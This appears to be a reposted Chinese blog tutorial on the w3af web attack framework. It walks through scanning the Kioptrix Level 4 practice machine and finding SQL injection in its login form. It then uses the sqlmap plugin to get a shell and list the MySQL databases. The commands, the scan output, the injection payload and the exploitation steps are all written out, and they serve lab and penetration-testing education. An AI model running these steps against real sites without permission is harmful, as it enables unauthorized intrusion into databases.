W3af简单使用教程

本文涉及的产品
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
云数据库 RDS MySQL,集群系列 2核4GB
推荐场景:
搭建个人博客
云数据库 RDS MySQL,高可用系列 2核4GB
简介:
w3af是一个 Web应用程序攻击和检查框架.该项目已超过130个插件,其中包括检查网站爬虫,SQL注入( SQL Injection),跨站(XSS),本地文件包含(LFI),远程文件包含(RFI)等.该项目的目标是要建立一个框架,以寻找和开发Web应用安全漏洞,所以很容易使用和扩展.
   0×00 概述
  在BackTrack5R3下使用w3af测试Kioptrix Level 4的SQL注入漏洞.
   0×01 简介
  w3af是一个Web应用程序攻击和检查框架.该项目已超过130个插件,其中包括检查网站爬虫,SQL注入(SQL Injection),跨站(XSS),本地文件包含(LFI),远程文件包含(RFI)等.该项目的目标是要建立一个框架,以寻找和开发Web应用安全漏洞,所以很容易使用和扩展.
   0×02 安装
  root@bt:~# apt-get install w3af
   0×03 启动
  root@bt:~# cd /pentest/web/w3af/root@bt:/pentest/web/w3af# ./w3af_console
   0×04 漏洞扫描配置
  w3af>>> plugins//进入插件模块w3af/plugins>>> list discovery //列出所有用于发现的插件w3af/plugins>>> discovery findBackdoor phpinfo webSpider //启用findBackdoor phpinfo webSpider这三个插件w3af/plugins>>> list audit //列出所有用于漏洞的插件w3af/plugins>>> audit blindSqli fileUpload osCommanding sqli xss //启用blindSqli fileUpload osCommanding sqli xss这五个插件w3af/plugins>>> back//返回主模块w3af>>> target//进入配置目标的模块w3af/config:target>>>set target http://192.168.244.132///把目标设置为http://192.168.244.132/w3af/config:target>>> back//返回主模块
   0×05 漏洞扫描
w3af>>> start
---New URL found by phpinfo plugin: http://192.168.244.132/New URL found by phpinfo plugin: http://192.168.244.132/checklogin.phpNew URL found by phpinfo plugin: http://192.168.244.132/index.phpNew URL found by webSpider plugin: http://192.168.244.132/New URL found by webSpider plugin: http://192.168.244.132/checklogin.phpNew URL found by webSpider plugin: http://192.168.244.132/index.phpFound 3 URLs and 8 different points of injection.The list of URLs is:- http://192.168.244.132/index.php- http://192.168.244.132/checklogin.php- http://192.168.244.132/The list of fuzzable requests is:- http://192.168.244.132/ | Method: GET- http://192.168.244.132/ | Method: GET | Parameters: (mode="phpinfo")- http://192.168.244.132/ | Method: GET | Parameters: (view="phpinfo")- http://192.168.244.132/checklogin.php | Method: GET- http://192.168.244.132/checklogin.php | Method: POST | Parameters: (myusername="", mypassword="")- http://192.168.244.132/index.php | Method: GET- http://192.168.244.132/index.php | Method: GET | Parameters: (mode="phpinfo")- http://192.168.244.132/index.php | Method: GET | Parameters: (view="phpinfo")Blind SQL injection was found at: "http://192.168.244.132/checklogin.php", using HTTP method POST. The injectable parameter is: "mypassword". This vulnerability was found in the requests with ids 309 to 310.A SQL error was found in the response supplied by the web application, the error is (only a fragment is shown): "supplied argument is not a valid  MySQL". The error was found on response with id 989.A SQL error was found in the response supplied by the web application, the error is (only a fragment is shown): "mysql_". The error was found on response with id 989.SQL injection in a MySQL database was found at: "http://192.168.244.132/checklogin.php", using HTTP method POST. The sent post-data was: "myusername=John&Submit=Login&mypassword=d'z"0". The modified parameter was "mypassword". This vulnerability was found in the request with id 989.Scan finished in 19 seconds.---//开始扫描
   0×06 漏洞利用配置
  w3af>>> exploit //进入漏洞利用模块w3af/exploit>>> list exploit//列出所有用于漏洞利用的插件w3af/exploit>>> exploit sqlmap //使用sqlmap进行SQL注入漏洞的 测试
---Trying to exploit using vulnerability with id: [1010, 1011]. Please wait...Vulnerability successfully exploited. This is a list of available shells and proxies:- [0] <sqlobject ( dbms: "MySQL >= 5.0.0" | ruser: "root@localhost" )>Please use the interact command to interact with the shell objects.---//测试存在SQL注入漏洞//这里要记住shell objects(这里是0),等一下要用到0x07 漏洞利用w3af/exploit>>> interact 0//interact + shell object就可以利用了---Execute "exit" to get out of the remote shell. Commands typed in this menu will be run through the sqlmap shellw3af/exploit/sqlmap-0>>> ---//sqlmap的一个交互式模块w3af/exploit/sqlmap-0>>> dbs   ---Available databases:  [3]:[*] information_schema[*] members[*] mysql---//成功获得数据库信息

最新内容请见作者的GitHub页:http://qaseven.github.io/
相关实践学习
如何在云端创建MySQL数据库
开始实验后,系统会自动创建一台自建MySQL的 源数据库 ECS 实例和一台 目标数据库 RDS。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助 &nbsp; &nbsp; 相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
相关文章
|
开发者
|
2月前
|
算法 数据可视化 安全
OCS2 入门教程(二)
OCS2 入门教程(二)
80 0
|
2月前
|
算法 Ubuntu 数据可视化
OCS2 入门教程(一)
OCS2 入门教程(一)
158 0
|
5月前
|
网络协议 Linux C++
Linux C/C++ 网络编程中地址格式转换(inet_pton和inet_ntop函数)
Linux C/C++ 网络编程中地址格式转换(inet_pton和inet_ntop函数)
238 0
|
Python
Python:通过socket.gethostbyname获取域名的ip地址
Python:通过socket.gethostbyname获取域名的ip地址
204 0
|
XML SQL Java
|
网络协议 Ubuntu 网络安全
【Ruby on Rails全栈课程】5.1 项目上线--购买服务器、域名
项目完成后,如果希望别人能通过域名访问到我们的项目,那就要将项目上线,需要准备两个工具: 云服务器 已备案的域名
200 0
【Ruby on Rails全栈课程】5.1 项目上线--购买服务器、域名
Py之sip:Python库之sip的简介、安装、使用方法之详细攻略
Py之sip:Python库之sip的简介、安装、使用方法之详细攻略
Py之sip:Python库之sip的简介、安装、使用方法之详细攻略